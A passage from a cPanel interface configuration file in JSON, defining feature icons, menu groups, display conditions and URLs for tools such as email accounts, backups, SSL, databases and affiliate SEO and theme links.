Lists","feature":"lists","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'} && !$CONFIF{'skipmailman'}","type":"image","group":"email","plainitemdesc":"Mailing Lists","itemdesc":"Mailing Lists","imgtype":"icon","url":"mail/lists.html"},"cpanel-site-monitor":{"imgtype":"icon","url":"site-monitor/index.html","if":"$HASROLE{'WebServer'} && $experimental{'cpanel-site-monitoring'}","type":"image","plainitemdesc":"cPanel Site Monitoring","group":"metrics","itemdesc":"cPanel Site Monitoring","height":"47","target":"","base64_png_image":"","search text keywords]'}":0,"subtype":"img","onclick":"","description":"cPanel Site Monitoring","feature":"site_monitor","itemorder":"50","acontent":"","width":"47","searchtext":"$LANG{'addon cpanel site monitoring domain website plugin[comment cPanel Site Monitoring","file":"cpanel-site-monitor"},"redirects":{"url":"mime/redirect.html","imgtype":"icon","plainitemdesc":"Redirects","group":"domains","itemdesc":"Redirects","type":"image","if":"$HASROLE{'WebServer'}","feature":"redirects","onclick":"","subtype":"img","description":"Redirects","base64_png_image":"","key":"redirects","target":"","height":"48","searchtext":"Redirects rewrite modrewrite","file":"redirects","width":"48","itemorder":"6","acontent":""},"analog_stats":{"itemdesc":"Analog Stats","group":"metrics","plainitemdesc":"Analog Stats","type":"image","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipanalog'}","url":"stats/analog_landing.html","imgtype":"icon","file":"analog_stats","searchtext":"Analog Stats","width":"48","acontent":"","itemorder":"6","feature":"analog","onclick":"","subtype":"img","description":"Analog Stats","base64_png_image":"","key":"analog_stats","height":"48","target":""},"encryption":{"acontent":"","itemorder":"15","file":"encryption","searchtext":"Encryption gpg keys GnuPG Keys","width":"48","key":"encryption","target":"","height":"48","onclick":"","description":"Encryption","subtype":"img","feature":"pgp","base64_png_image":"","if":"$HASROLE{'MailReceive'}","group":"email","plainitemdesc":"Encryption","itemdesc":"Encryption","type":"image","imgtype":"icon","url":"gpg/index.html"},"plugin_five":{"plainitemdesc":"Search Marketing Tips","group":"sitewit_group","itemdesc":"Search Marketing Tips","type":"image","url":"sitewit/index.html?icon=6&option=marketing","imgtype":"icon","itemorder":"5","acontent":"","searchtext":"Search Marketing Tips","file":"plugin_five","width":"47","target":"","height":"47","feature":"plugin_five","onclick":"","subtype":"img","description":"Search Marketing Tips","base64_png_image":""},"error_pages":{"url":"err/index.html","imgtype":"icon","group":"advanced","plainitemdesc":"Error Pages","itemdesc":"Error Pages","type":"image","if":"$HASROLE{'WebServer'}","feature":"errpgs","onclick":"","subtype":"img","description":"Error Pages","base64_png_image":"","key":"error_pages","target":"","height":"48","width":"48","searchtext":"Error Pages errorlog error_log error log","file":"error_pages","itemorder":"5","acontent":""},"group_metrics":{"imgtype":"icon","itemdesc":"group_metrics","group":"metrics","type":"image","key":"group_metrics","height":"48","target":"","subtype":"img","onclick":"","description":"Metrics","base64_png_image":"","groupdesc":"Metrics","acontent":"","searchtext":"group_metrics","file":"group_metrics","width":"48","grouporder":"5"},"multiphp_ini_editor":{"imgtype":"icon","url":"multiphp_ini_editor/index.html","type":"image","itemdesc":"MultiPHP INI Editor","plainitemdesc":"MultiPHP INI Editor","group":"software","if":"$is_ea4","base64_png_image":"","onclick":"","subtype":"img","feature":"multiphp_ini_editor","description":"MultiPHP INI Editor","height":"48","target":"","key":"multiphp_ini_editor","width":"48","searchtext":"MultiPHP INI Editor php config","file":"multiphp_ini_editor","acontent":"","itemorder":"9"},"group_se_group":{"searchtext":"group_se_group","width":"47","file":"group_se_group","grouporder":"1","groupdesc":"SEO and Marketing tools","acontent":"","onclick":"","subtype":"img","description":"SEO and Marketing tools","base64_png_image":"","target":"","height":"47","itemdesc":"group_se_group","group":"se_group","type":"image","imgtype":"icon"},"email_accounts":{"url":"email_accounts/index.html","imgtype":"icon","type":"image","group":"email","plainitemdesc":"Email Accounts","itemdesc":"Email Accounts","if":"$HASROLE{'MailReceive'}","implements":"Email_Accounts","base64_png_image":"","subtype":"img","onclick":"","description":"Email Accounts","feature":"popaccts","height":"48","target":"","key":"email_accounts","width":"48","searchtext":"email accounts mail pop imap smtp Email Accounts","file":"email_accounts","acontent":"","itemorder":"1"},"user_manager":{"acontent":"","itemorder":"5","file":"user_manager","searchtext":"password change ftp email webdisk webdav service User Manager","width":"48","key":"user_manager","height":"48","target":"","onclick":"","subtype":"img","description":"Manage the users who can access various systems on your cPanel account.","feature":"user_manager","base64_png_image":"","if":"$HASROLE{'FTP'} || $HASROLE{'WebDisk'}","itemdesc":"User Manager","plainitemdesc":"User Manager","group":"preferences","type":"image","url":"user_manager/index.html","imgtype":"icon"},"mojothemes":{"subtype":"img","onclick":"","description":"Mojo Themes","feature":"mojothemes","base64_png_image":"","target":"","height":"47","searchtext":"Mojo Themes","width":"47","file":"mojothemes","acontent":"","itemorder":"6","imgtype":"icon","url":"http://bit.ly/1PFOx2R","group":"wp_affiliates","plainitemdesc":"Mojo Themes","itemdesc":"Mojo Themes","type":"image"},"postgresql_database_wizard":{"itemdesc":"PostgreSQL Database Wizard","group":"databases","plainitemdesc":"PostgreSQL Database Wizard","type":"image","if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","imgtype":"icon","url":"psql/wizard1.html","file":"postgresql_database_wizard","searchtext":"PostgreSQL Database Wizard postgres postgresql database db","width":"48","itemorder":"6","acontent":"","subtype":"img","onclick":"","feature":"postgres","description":"PostgreSQL Database Wizard","base64_png_image":"","key":"postgresql_database_wizard","target":"","height":"48"},"backup":{"target":"","height":"48","key":"backup","implements":"Backups_Home","base64_png_image":"","subtype":"img","onclick":"","feature":"backup","description":"Backup","acontent":"","itemorder":"9","width":"48","searchtext":"Backup restore","file":"backup","url":"backup/index.html","imgtype":"icon","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","type":"image","itemdesc":"Backup","plainitemdesc":"Backup","group":"files"},"ruby_on_rails":{"file":"ruby_on_rails","searchtext":"Ruby on Rails","width":"48","itemorder":"5","acontent":"","base64_png_image":"","onclick":"","description":"Ruby on Rails","subtype":"img","feature":"ror","target":"","height":"48","key":"ruby_on_rails","type":"image","plainitemdesc":"Ruby on Rails","group":"software","itemdesc":"Ruby on Rails","if":"$hasrails","url":"ror/index.html","imgtype":"icon"},"multiphp_manager":{"imgtype":"icon","url":"multiphp_manager/index.html","if":"$is_ea4","type":"image","group":"software","plainitemdesc":"MultiPHP Manager","itemdesc":"MultiPHP Manager","target":"","height":"48","key":"multiphp_manager","base64_png_image":"","subtype":"img","onclick":"","description":"MultiPHP Manager","feature":"multiphp","itemorder":"8","acontent":"","file":"multiphp_manager","searchtext":"MultiPHP Manager","width":"48"},"ssl_tls":{"if":"$HASROLE{'UserSSL'}","itemdesc":"SSL/TLS","group":"security","plainitemdesc":"SSL/TLS","type":"image","url":"ssl/index.html","imgtype":"icon","acontent":"","itemorder":"3","searchtext":"SSL/TLS certificate key csr","width":"48","file":"ssl_tls","key":"ssl_tls","height":"48","target":"","subtype":"img","onclick":"","feature":"sslmanager","description":"SSL/TLS","base64_png_image":"","implements":"SSL_TLS_Manager"},"canary":{"type":"image","group":"sample_apps","itemdesc":"Canary","if":"$is_sandbox && $exists_in_cpanel{'canary'}","imgtype":"icon","url":"canary/index.html","width":"48","searchtext":"sample apps Canary","file":"canary","itemorder":"1","acontent":"","base64_png_image":"","onclick":"","subtype":"img","description":"Canary","height":"48","target":"","key":"canary"},"group_attracta_seo":{"base64_png_image":"","onclick":"","subtype":"img","description":"SEO and Marketing Tools","target":"","height":"47","file":"group_attracta_seo","searchtext":"group_attracta_seo","width":"47","grouporder":"3","groupdesc":"SEO and Marketing Tools","acontent":"","imgtype":"icon","type":"image","itemdesc":"group_attracta_seo","group":"attracta_seo"},"sitepad_div_icons":{"height":"47","target":"","base64_png_image":"","onclick":"","feature":"sitepad_div_icons","subtype":"img","description":"FastComet Website Builder - Themes","itemorder":"10","acontent":"","width":"47","searchtext":"FastComet Website Builder - Themes","file":"sitepad_div_icons","url":"../../3rdparty/sitepad/index.live.php","imgtype":"icon","type":"image","itemdesc":"FastComet Website Builder - Themes","group":"sitepad_div","plainitemdesc":"FastComet Website Builder - Themes"},"lvenodejssel":{"type":"image","plainitemdesc":"Setup Node.js App","group":"software","itemdesc":"Setup Node.js App","imgtype":"icon","url":"lveversion/nodejs-selector.html.tt","file":"lvenodejssel","searchtext":"Setup Node.js App","width":"47","acontent":"","itemorder":"999","base64_png_image":"","subtype":"img","onclick":"","feature":"lvenodejssel","description":"Setup Node.js App","target":"","height":"47"},"api_shell":{"if":"$isreseller && $CONFIF{'api_shell'}","type":"image","plainitemdesc":"API Shell","group":"advanced","itemdesc":"API Shell","url":"api_shell/index.html","imgtype":"icon","itemorder":"9","acontent":"","width":"48","searchtext":"API Shell","file":"api_shell","target":"","height":"48","key":"api_shell","base64_png_image":"","subtype":"img","onclick":"","feature":"api_shell","description":"API Shell"},"bandwidth":{"searchtext":"Bandwidth bandmin transfer","width":"48","file":"bandwidth","itemorder":"3","acontent":"","subtype":"img","onclick":"","description":"Bandwidth","feature":"bandwidth","base64_png_image":"","key":"bandwidth","target":"","height":"48","plainitemdesc":"Bandwidth","group":"metrics","itemdesc":"Bandwidth","type":"image","if":"$SERVICEPROVIDED{'ftp'} || $HASROLE{'MailReceive'} || $HASROLE{'WebServer'}","imgtype":"icon","url":"stats/bandwidth.html"},"application_manager":{"plainitemdesc":"Application Manager","group":"software","itemdesc":"Application Manager","type":"image","imgtype":"icon","url":"passenger/index.html","searchtext":"apps passenger ruby ror gems rails Application Manager","file":"application_manager","width":"48","itemorder":"8","acontent":"","description":"Application Manager","onclick":"","subtype":"img","feature":"passengerapps","base64_png_image":"","key":"application_manager","target":"","height":"48"},"aicontent3":{"itemorder":"14","acontent":"","file":"aicontent3","searchtext":"Free AI Site Tools","width":"47","height":"47","target":"","base64_png_image":"","subtype":"img","onclick":"","feature":"aicontent3","description":"Free AI Site Tools","type":"image","plainitemdesc":"Free AI Site Tools","group":"attracta_seo","itemdesc":"Free AI Site Tools","imgtype":"icon","url":"https://www.attracta.com/extlinks/copymatic"},"mysql_databases":{"imgtype":"icon","url":"sql/index.html","if":"$SERVICEPROVIDED{'mysql'}","type":"image","plainitemdesc":"MySQL® Databases","group":"databases","itemdesc":"MySQL® Databases","target":"","height":"48","key":"mysql_databases","implements":"Database_MySQL","base64_png_image":"","subtype":"img","onclick":"","description":"MySQL® Databases","feature":"mysql","acontent":"","itemorder":"2","searchtext":"MySQL Databases db MySQL® Databases","width":"48","file":"mysql_databases"},"php_pear_packages":{"searchtext":"PHP PEAR Packages","width":"48","file":"php_pear_packages","itemorder":"2","acontent":"","description":"PHP PEAR Packages","onclick":"","subtype":"img","feature":"modules-php-pear","base64_png_image":"","key":"php_pear_packages","target":"","height":"48","plainitemdesc":"PHP PEAR Packages","group":"software","itemdesc":"PHP PEAR Packages","type":"image","if":"$haspear","imgtype":"icon","url":"module_installers/index.html?lang=php-pear"},"change_password":{"plainitemdesc":"Password [output,amp] Security","group":"preferences","itemdesc":"Password & Security","type":"image","url":"passwd/index.html","imgtype":"icon","acontent":"","itemorder":"1","file":"change_password","searchtext":"password & security change facebook external google secure cpanel Password & Security","width":"48","key":"change_password","height":"48","target":"","description":"Password & Security","onclick":"","subtype":"img","feature":"password","base64_png_image":"","implements":"Password_Change"},"lvephpsel":{"acontent":"","itemorder":"999","width":"47","searchtext":"Select PHP Version","file":"lvephpsel","target":"","height":"47","base64_png_image":"","onclick":"","feature":"lvephpsel","subtype":"img","description":"Select PHP Version","type":"image","itemdesc":"Select PHP Version","group":"software","plainitemdesc":"Select PHP Version","url":"lveversion/php_selector.live.pl","imgtype":"icon"},"email_filters":{"acontent":"","itemorder":"10","searchtext":"User Filters Email user level Filtering filter Email Filters","width":"48","file":"email_filters","key":"email_filters","target":"","height":"48","subtype":"img","onclick":"","description":"Email Filters","feature":"blockers","base64_png_image":"","implements":"Email_UserLevelFiltering","if":"$HASROLE{'MailReceive'}","itemdesc":"Email Filters","plainitemdesc":"Email Filters","group":"email","type":"image","imgtype":"icon","url":"mail/filters/managefilters.html"},"change_style":{"type":"image","plainitemdesc":"Change Style","group":"preferences","itemdesc":"Change Style","url":"styleswitcher/index.html","imgtype":"icon","acontent":"","itemorder":"3","searchtext":"skin theme Change Style","file":"change_style","width":"48","target":"","height":"48","key":"change_style","base64_png_image":"","subtype":"img","onclick":"","description":"Change Style","feature":"style"},"group_security":{"imgtype":"icon","itemdesc":"group_security","group":"security","type":"image","key":"group_security","target":"","height":"48","onclick":"","subtype":"img","description":"Security","base64_png_image":"","groupdesc":"Security","acontent":"","searchtext":"group_security","file":"group_security","width":"48","grouporder":"6"},"attracta_emailmarketing":{"itemdesc":"Email Marketing","group":"email","plainitemdesc":"Email Marketing","type":"image","imgtype":"icon","url":"https://www.attracta.com/extlinks/emailmarketing","searchtext":"Email Marketing","width":"47","file":"attracta_emailmarketing","itemorder":"13","acontent":"","feature":"attracta_emailmarketing","onclick":"","subtype":"img","description":"Email Marketing","base64_png_image":"","target":"","height":"47"},"visitors":{"height":"48","target":"","key":"visitors","base64_png_image":"","feature":"lastvisits","onclick":"","subtype":"img","description":"Visitors","itemorder":"1","acontent":"","searchtext":"latest visitors Visitors","width":"48","file":"visitors","url":"stats/lastvisitors_landing.html","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Visitors","group":"metrics","itemdesc":"Visitors"},"boxtrapper":{"imgtype":"icon","url":"mail/boxtrapper.html","if":"$HASROLE{'MailReceive'} && !$CONFIF{'skipboxtrapper'}","type":"image","group":"email","itemdesc":"BoxTrapper","target":"","height":"48","key":"boxtrapper","implements":"Email_BoxTrapper","base64_png_image":"","subtype":"img","onclick":"","description":"BoxTrapper","feature":"boxtrapper","acontent":"","itemorder":"16","searchtext":"BoxTrapper filter","file":"boxtrapper","width":"48"},"greylisting":{"subtype":"img","onclick":"","feature":"greylist","description":"Configure Greylisting","base64_png_image":"","implements":"Email_GreyListing","key":"greylisting","target":"","height":"48","width":"48","searchtext":"Greylisting grey list spam Configure Greylisting","file":"greylisting","acontent":"","itemorder":"17","imgtype":"icon","url":"mail/greylisting/index.html","itemdesc":"Configure Greylisting","group":"email","plainitemdesc":"Configure Greylisting","type":"image","if":"$HASROLE{'MailReceive'} && $is_greylisting_enabled"},"athemes":{"type":"image","group":"wp_affiliates","plainitemdesc":"AThemes","itemdesc":"AThemes","url":"http://bit.ly/1HMxx4k","imgtype":"icon","file":"athemes","searchtext":"AThemes","width":"47","itemorder":"1","acontent":"","base64_png_image":"","subtype":"img","onclick":"","description":"AThemes","feature":"athemes","height":"47","target":""},"group_sitewit_group":{"height":"47","target":"","subtype":"img","onclick":"","description":"SiteWit – Search Engine Marketing Tools","base64_png_image":"","acontent":"","groupdesc":"SiteWit – Search Engine Marketing Tools","grouporder":"4","searchtext":"group_sitewit_group","width":"47","file":"group_sitewit_group","imgtype":"icon","group":"sitewit_group","itemdesc":"group_sitewit_group","type":"image"},"rankcheck2":{"base64_png_image":"","onclick":"","description":"Google Rank Checker","subtype":"img","feature":"rankcheck2","target":"","height":"47","width":"47","searchtext":"Google Rank Checker","file":"rankcheck2","acontent":"","itemorder":"13","url":"https://www.attracta.com/extlinks/semrushfree","imgtype":"icon","type":"image","plainitemdesc":"Google Rank Checker","group":"attracta_seo","itemdesc":"Google Rank Checker"},"attracta_linkbuilding":{"subtype":"img","onclick":"","description":"Link Building","feature":"attracta_linkbuilding","base64_png_image":"","target":"","height":"47","searchtext":"Link Building","file":"attracta_linkbuilding","width":"47","acontent":"","itemorder":"5","imgtype":"icon","url":"/frontend/paper_lantern/attracta/index.live.pl?id=35","group":"attracta_seo","plainitemdesc":"Link Building","itemdesc":"Link Building","type":"image"},"version_control":{"itemorder":"10","acontent":"","width":"48","searchtext":"Git version control vcs repositories repository repo master checkout check out branch clone remote source code commit head gitweb history log publish deployment build continuous integration Git™ Version Control","file":"version_control","height":"48","target":"","key":"version_control","base64_png_image":"","description":"Git™ Version Control","onclick":"","subtype":"img","feature":"version_control","if":"$HASROLE{'FileStorage'}","type":"image","itemdesc":"Git™ Version Control","group":"files","plainitemdesc":"[asis,Git™] Version Control","url":"version_control/index.html","imgtype":"icon"},"soft_div_icons":{"target":"","height":"47","onclick":"","subtype":"img","feature":"soft_div_icons","description":"Softaculous Apps Installer","base64_png_image":"","acontent":"","itemorder":"10","searchtext":"Softaculous Apps Installer","file":"soft_div_icons","width":"47","url":"softaculous/index.live.php","imgtype":"icon","itemdesc":"Softaculous Apps Installer","plainitemdesc":"Softaculous Apps Installer","group":"soft_div","type":"image"},"plugin_three":{"type":"image","itemdesc":"Be Number One Now","plainitemdesc":"Be Number One Now","group":"sitewit_group","imgtype":"icon","url":"sitewit/index.html?icon=3&option=bing","width":"47","searchtext":"Be Number One Now","file":"plugin_three","itemorder":"3","acontent":"","base64_png_image":"","onclick":"","subtype":"img","feature":"plugin_three","description":"Be Number One Now","height":"47","target":""},"disk_usage":{"if":"$HASROLE{'FileStorage'}","type":"image","plainitemdesc":"Disk Usage","group":"files","itemdesc":"Disk Usage","imgtype":"icon","url":"diskusage/index.html","itemorder":"4","acontent":"","file":"disk_usage","searchtext":"Disk Usage disk space usage disk-usage","width":"48","target":"","height":"48","key":"disk_usage","base64_png_image":"","description":"Disk Usage","onclick":"","subtype":"img","feature":"diskusageviewer"},"webalizer":{"searchtext":"Webalizer stats","width":"48","file":"webalizer","itemorder":"7","acontent":"","base64_png_image":"","onclick":"","subtype":"img","description":"Webalizer","feature":"webalizer","height":"48","target":"","key":"webalizer","type":"image","itemdesc":"Webalizer","group":"metrics","plainitemdesc":"Webalizer","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipwebalizer'}","imgtype":"icon","url":"stats/webalizer_landing.html"},"web_disk":{"acontent":"","itemorder":"5","file":"web_disk","searchtext":"Web Disk webdav webdisk","width":"48","height":"48","target":"","key":"web_disk","base64_png_image":"","subtype":"img","onclick":"","feature":"webdisk","description":"Web Disk","if":"$HASROLE{'WebDisk'} && $hascpdavd","type":"image","itemdesc":"Web Disk","plainitemdesc":"Web Disk","group":"files","url":"webdav/accounts_webdav.html","imgtype":"icon"},"lvepythonsel":{"type":"image","itemdesc":"Setup Python App","group":"software","plainitemdesc":"Setup Python App","url":"lveversion/python-selector.html.tt","imgtype":"icon","acontent":"","itemorder":"999","width":"47","searchtext":"Setup Python App","file":"lvepythonsel","height":"47","target":"","base64_png_image":"","onclick":"","subtype":"img","feature":"lvepythonsel","description":"Setup Python App"},"themeforest":{"imgtype":"icon","url":"http://bit.ly/1ktPFv2","type":"image","itemdesc":"Theme Forest","plainitemdesc":"Theme Forest","group":"wp_affiliates","target":"","height":"47","base64_png_image":"","subtype":"img","onclick":"","description":"Theme Forest","feature":"themeforest","acontent":"","itemorder":"4","file":"themeforest","searchtext":"Theme Forest","width":"47"},"rankcheck":{"imgtype":"icon","url":"https://www.attracta.com/extlinks/semrushfree","itemdesc":"Google Rankings","group":"metrics","plainitemdesc":"Google Rankings","type":"image","feature":"rankcheck","onclick":"","subtype":"img","description":"Google Rankings","base64_png_image":"","height":"47","target":"","searchtext":"Google Rankings","file":"rankcheck","width":"47","itemorder":"98","acontent":""},"jb5":{"url":"jetbackup5/index.html","imgtype":"icon","itemdesc":"JetBackup 5","plainitemdesc":"JetBackup 5","group":"files","type":"image","onclick":"","feature":"jb5","subtype":"img","description":"JetBackup 5","implements":"JetBackup5","base64_png_image":"","height":"47","target":"","searchtext":"JetBackup 5","width":"47","file":"jb5","itemorder":0,"acontent":""},"two_factor_authentication":{"if":"$is_twofactorauth_sec_policy_enabled","type":"image","itemdesc":"Two-Factor Authentication","group":"security","plainitemdesc":"Two-Factor Authentication","url":"security/2fa/index.html","imgtype":"icon","acontent":"","itemorder":"8","width":"48","searchtext":"Two Factor Authentication 2fa tfa Two-Factor Authentication","file":"two_factor_authentication","target":"","height":"48","key":"two_factor_authentication","base64_png_image":"","description":"Two-Factor Authentication","onclick":"","subtype":"img","feature":"twofactorauth"},"file_and_directory_restoration":{"height":"48","target":"","key":"file_and_directory_restoration","base64_png_image":"","description":"File and Directory Restoration","onclick":"","subtype":"img","feature":"filerestoration","itemorder":"11","acontent":"","searchtext":"File directory restoration File and Directory Restoration","file":"file_and_directory_restoration","width":"48","url":"file_and_directory_restoration/index.html","imgtype":"icon","if":"$file_restoration_enabled && $HASROLE{'FileStorage'}","type":"image","plainitemdesc":"File and Directory Restoration","group":"files","itemdesc":"File and Directory Restoration"},"contact_information":{"itemdesc":"Contact Information","group":"preferences","plainitemdesc":"Contact Information","type":"image","imgtype":"icon","url":"contact/index.html","itemorder":"4","acontent":"","searchtext":"contact email Contact Information","file":"contact_information","width":"48","key":"contact_information","height":"48","target":"","feature":"updatenotificationprefs || updatecontact","onclick":"","subtype":"img","description":"Contact Information","base64_png_image":"","implements":"ContactInfo_Change"},"manage_calendar_access":{"imgtype":"icon","url":"manage-calendar-access/index.html","if":"$ccs_installed && $calendar_delegation","type":"image","group":"email","plainitemdesc":"Calendar Delegation","itemdesc":"Calendar Delegation","target":"","height":48,"key":"manage_calendar_access","base64_png_image":"","subtype":"img","onclick":"","description":"Calendar Delegation","feature":"manage_calendar_access","itemorder":18,"acontent":"","file":"manage_calendar_access","width":48,"searchtext":"calendar delegation Calendar Delegation"},"leech_protection":{"if":"$HASROLE{'WebServer'}","group":"security","plainitemdesc":"Leech Protection","itemdesc":"Leech Protection","type":"image","imgtype":"icon","url":"htaccess/leechprotect/leechprotect.html","acontent":"","itemorder":"5","searchtext":"Leech Protection protect","width":"48","file":"leech_protection","key":"leech_protection","height":"48","target":"","onclick":"","feature":"cpanelpro_leechprotect && webprotect","subtype":"img","description":"Leech Protection","base64_png_image":""},"sitepad":{"group":"software","plainitemdesc":"FastComet Website Builder","itemdesc":"FastComet Website Builder","type":"image","imgtype":"icon","url":"../../3rdparty/sitepad/index.live.php","searchtext":"FastComet Website Builder","width":"47","file":"sitepad","acontent":"target=\"_blank\"","itemorder":"1","onclick":"","subtype":"img","feature":"sitepad","description":"FastComet Website Builder","base64_png_image":"","implements":"SitePad_Home","target":"_blank","height":"47"},"seranking":{"height":"47","target":"_blank","base64_png_image":"","onclick":"","subtype":"img","description":"SERanking","itemorder":0,"acontent":"target=\"_blank\"","file":"seranking","searchtext":"SERanking","width":"47","imgtype":"icon","url":"seranking/se.live.php","type":"image","itemdesc":"SERanking","plainitemdesc":"SERanking","group":"attracta_seo"},"forwarders":{"subtype":"img","onclick":"","description":"Forwarders","feature":"forwarders || emaildomainfwd","base64_png_image":"","implements":"Email_Forwarders","key":"forwarders","height":"48","target":"","width":"48","searchtext":"Forwarders forward","file":"forwarders","itemorder":"3","acontent":"","url":"mail/fwds.html","imgtype":"icon","itemdesc":"Forwarders","group":"email","plainitemdesc":"Forwarders","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}"},"imunify360":{"searchtext":"Imunify360","width":"47","file":"imunify360","acontent":"","itemorder":"10000","subtype":"img","onclick":"","description":"Imunify360","feature":"imunify360","base64_png_image":"","implements":"Imunify_Home","target":"","height":"47","itemdesc":"Imunify360","plainitemdesc":"Imunify360","group":"security","type":"image","imgtype":"icon","url":"imunify/imunify.live.pl"},"codecanyon":{"url":"http://bit.ly/1O6YtRe","imgtype":"icon","type":"image","itemdesc":"CodeCanyon Plugins","plainitemdesc":"CodeCanyon Plugins","group":"wp_affiliates","target":"","height":"47","base64_png_image":"","description":"CodeCanyon Plugins","onclick":"","subtype":"img","feature":"codecanyon","acontent":"","itemorder":"5","width":"47","searchtext":"CodeCanyon Plugins","file":"codecanyon"},"aicontent":{"type":"image","group":"software","plainitemdesc":"Free AI Site Generator","itemdesc":"Free AI Site Generator","url":"https://www.attracta.com/extlinks/copymatic","imgtype":"icon","itemorder":"99","acontent":"","file":"aicontent","searchtext":"Free AI Site Generator","width":"47","height":"47","target":"","base64_png_image":"","subtype":"img","onclick":"","description":"Free AI Site Generator","feature":"aicontent"},"default_address":{"itemdesc":"Default Address","plainitemdesc":"Default Address","group":"email","type":"image","if":"$HASROLE{'MailReceive'}","url":"mail/def.html","imgtype":"icon","width":"48","searchtext":"Default Address","file":"default_address","acontent":"","itemorder":"6","onclick":"","description":"Default Address","subtype":"img","feature":"defaultaddress","base64_png_image":"","implements":"Email_DefaultAddress","key":"default_address","target":"","height":"48"},"clam_av":{"key":"clam_av","height":"48","target":"","onclick":"","subtype":"img","feature":"clamavconnector_scan","description":"Virus Scanner","base64_png_image":"","itemorder":"8","acontent":"","searchtext":"Virus Scanner clam clamav antivirus","file":"clam_av","width":"48","url":"clam-av/index.html","imgtype":"icon","if":"$hasclamav && $HASROLE{'MailReceive'}","itemdesc":"Virus Scanner","group":"advanced","plainitemdesc":"Virus Scanner","type":"image","touch":"clamav"},"calendar_and_contacts":{"imgtype":"icon","url":"mail/calendars_and_contacts/index.html","if":"$HASROLE{'CalendarContact'} && $hashorde && $hascpdavd","type":"image","group":"email","plainitemdesc":"Calendars and Contacts","itemdesc":"Calendars and Contacts","target":"","height":"48","key":"calendar_and_contacts","implements":"Calendar_Configure","base64_png_image":"","description":"Calendars and Contacts","onclick":"","subtype":"img","feature":"caldavcarddav","itemorder":"18","acontent":"","file":"calendar_and_contacts","searchtext":"email calendar contact address book CalDAV CardDAV Calendars and Contacts","width":"48"},"awstats":{"acontent":"","itemorder":"5","searchtext":"Awstats awstats","file":"awstats","width":"48","key":"awstats","target":"","height":"48","feature":"awstats","onclick":"","subtype":"img","description":"Awstats","base64_png_image":"","implements":"Stats_AWStats","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipawstats'}","itemdesc":"Awstats","group":"metrics","plainitemdesc":"Awstats","type":"image","url":"stats/awstats_landing.html","imgtype":"icon"},"attracta_increasewebsitetraffic":{"url":"/frontend/paper_lantern/attracta/index.live.pl?id=33","imgtype":"icon","plainitemdesc":"Increase Website Traffic","group":"attracta_seo","itemdesc":"Increase Website Traffic","type":"image","subtype":"img","onclick":"","description":"Increase Website Traffic","feature":"attracta_increasewebsitetraffic","base64_png_image":"","height":"47","target":"","searchtext":"Increase Website Traffic","file":"attracta_increasewebsitetraffic","width":"47","itemorder":"3","acontent":""},"ftp_connections":{"acontent":"","itemorder":"7","searchtext":"FTP Connections ftp accounts ftp session control","file":"ftp_connections","width":"48","target":"","height":"48","key":"ftp_connections","base64_png_image":"","feature":"ftpaccts","onclick":"","subtype":"img","description":"FTP Connections","if":"$SERVICEPROVIDED{'ftp'} && !$hascloudlinux","touch":"ftp","type":"image","itemdesc":"FTP Connections","plainitemdesc":"FTP Connections","group":"files","imgtype":"icon","url":"ftp/session.html"},"cron_jobs":{"imgtype":"icon","url":"cron/index.html","if":"$HASROLE{'WebServer'}","type":"image","itemdesc":"Cron Jobs","plainitemdesc":"Cron Jobs","group":"advanced","target":"","height":"48","key":"cron_jobs","implements":"Cron_Home","base64_png_image":"","description":"Cron Jobs","onclick":"","subtype":"img","feature":"cron","acontent":"","itemorder":"2","searchtext":"Cron Jobs cronjob crontab edit","file":"cron_jobs","width":"48"},"plugin_four":{"base64_png_image":"","feature":"plugin_four","onclick":"","subtype":"img","description":"Social Marketing","height":"47","target":"","file":"plugin_four","searchtext":"Social Marketing","width":"47","acontent":"","itemorder":"4","url":"sitewit/index.html?icon=5&option=facebook","imgtype":"icon","type":"image","plainitemdesc":"Social Marketing","group":"sitewit_group","itemdesc":"Social Marketing"},"plugin_seven":{"url":"sitewit/index.html?icon=7&option=connect","imgtype":"icon","group":"sitewit_group","plainitemdesc":"Real-Time Lead Capture","itemdesc":"Real-Time Lead Capture","type":"image","target":"","height":"47","onclick":"","feature":"plugin_seven","subtype":"img","description":"Real-Time Lead Capture","base64_png_image":"","itemorder":"7","acontent":"","searchtext":"Real-Time Lead Capture","file":"plugin_seven","width":"47"},"group_perf":{"type":"image","itemdesc":"group_perf","group":"preferences","imgtype":"icon","groupdesc":"Preferences","acontent":"","width":"48","searchtext":"group_perf","file":"group_perf","grouporder":"8","height":"48","target":"","key":"group_perf","base64_png_image":"","onclick":"","subtype":"img","description":"Preferences"},"group_advanced":{"group":"advanced","itemdesc":"group_advanced","type":"image","imgtype":"icon","grouporder":"7","searchtext":"group_advanced","file":"group_advanced","width":"48","acontent":"","groupdesc":"Advanced","description":"Advanced","onclick":"","subtype":"img","base64_png_image":"","key":"group_advanced","target":"","height":"48"},"letsencrypt-cpanel":{"type":"image","itemdesc":"Lets Encrypt™ SSL","group":"security","plainitemdesc":"Lets Encrypt™ SSL","imgtype":"icon","url":"letsencrypt/letsencrypt.live.cgi","file":"letsencrypt-cpanel","searchtext":"Lets Encrypt™ SSL","width":"47","itemorder":"99","acontent":"","base64_png_image":"","description":"Lets Encrypt™ SSL","onclick":"","subtype":"img","feature":"letsencrypt-cpanel","height":"47","target":""},"metrics_editor":{"url":"statmanager/index.html","imgtype":"icon","if":"$HASROLE{'WebServer'} && $any_stats_enabled","plainitemdesc":"Metrics Editor","group":"metrics","itemdesc":"Metrics Editor","type":"image","key":"metrics_editor","target":"","height":"32","onclick":"","description":"Metrics Editor","subtype":"img","feature":"statselect","base64_png_image":"","itemorder":"10","acontent":"","file":"metrics_editor","searchtext":"Metrics Editor stats manager choose log programs","width":"32"},"plugin_one":{"file":"plugin_one","searchtext":"Get on Top Today","width":"47","itemorder":"1","acontent":"","base64_png_image":"","subtype":"img","onclick":"","description":"Get on Top Today","feature":"plugin_one","height":"47","target":"","type":"image","plainitemdesc":"Get on Top Today","group":"sitewit_group","itemdesc":"Get on Top 